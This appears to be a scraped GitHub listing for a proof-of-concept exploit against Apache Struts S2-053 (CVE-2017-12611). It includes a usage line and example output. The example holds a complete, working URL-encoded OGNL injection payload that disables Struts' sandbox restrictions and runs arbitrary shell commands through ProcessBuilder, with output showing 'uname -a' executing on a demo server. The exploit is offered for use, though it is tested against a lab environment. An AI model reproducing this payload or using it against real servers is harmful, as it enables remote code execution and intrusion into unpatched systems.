CVE-2017-12611 PoC — Apache Struts 输入验证错误漏洞

Source

https://github.com/brianwrf/S2-053-CVE-2017-12611

Associated Vulnerability

Title: Apache Struts 输入验证错误漏洞 (CVE-2017-12611)
Description:In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.

Description

A simple script for exploit RCE for Struts 2 S2-053(CVE-2017-12611)

Readme

# S2-053-CVE-2017-12611
A simple script for exploit RCE for Struts 2 S2-053(CVE-2017-12611)

# Usage
    exploit.py <url> <param> <command>

# Example
```
$ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a"
[*] Generated EXP: http://127.0.0.1/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27uname%20-a%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D

[*] Exploiting...
[+] Response: <html>
<head>
<title>S2-053 Demo</title>
</head>
<body>
<h1>S2-053 Demo</h1>
<hr/>
Your name: Linux a66c177c2326 4.4.0-70-generic ;jsessionid=64A259D92EC63543AD72E6AA847319C9#91-Ubuntu SMP Wed Mar 22 12:47:43 UTC 2017 x86_64 GNU/Linux

<hr/>
Enter your name here:<br/>
<form action="" method="get">
<input type="text" name="name" value="" />
<input type="submit" value="Submit" />
</form>
<br/><br/><br/>
<p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p>
</body>
</html>

[+] Exploit Finished!
```
    
# Vuln Env
* [S3-053](https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053)

# Reference
* [S2-053 复现分析过程(附POC)](https://mp.weixin.qq.com/s/4CiKgVn7Y-hWUKRjgECsuA)
* [S2-053](https://cwiki.apache.org/confluence/display/WW/S2-053)

File Snapshot

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